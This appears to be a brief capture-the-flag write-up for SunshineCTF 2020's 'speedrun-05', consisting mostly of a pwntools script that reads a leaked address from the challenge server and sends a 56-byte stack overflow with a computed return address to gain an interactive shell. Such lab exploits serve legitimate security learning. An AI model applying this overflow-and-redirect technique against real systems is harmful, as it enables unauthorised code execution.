###### tags: `sunshine`

# speedrun-05

- 

- 找到offset值19

from pwn import *

#p = process("./chall_05")
p = remote("chal.2020.sunshinectf.org", 30005)

info(p.recvline())
p.sendline()
info(p.recvuntil("Yes I'm going to win: "))
addr = p.recv()
info(addr)

payload  = "A" * 56   
payload += p64(int(addr, 16) - 19)

p.sendline(payload)
p.interactive()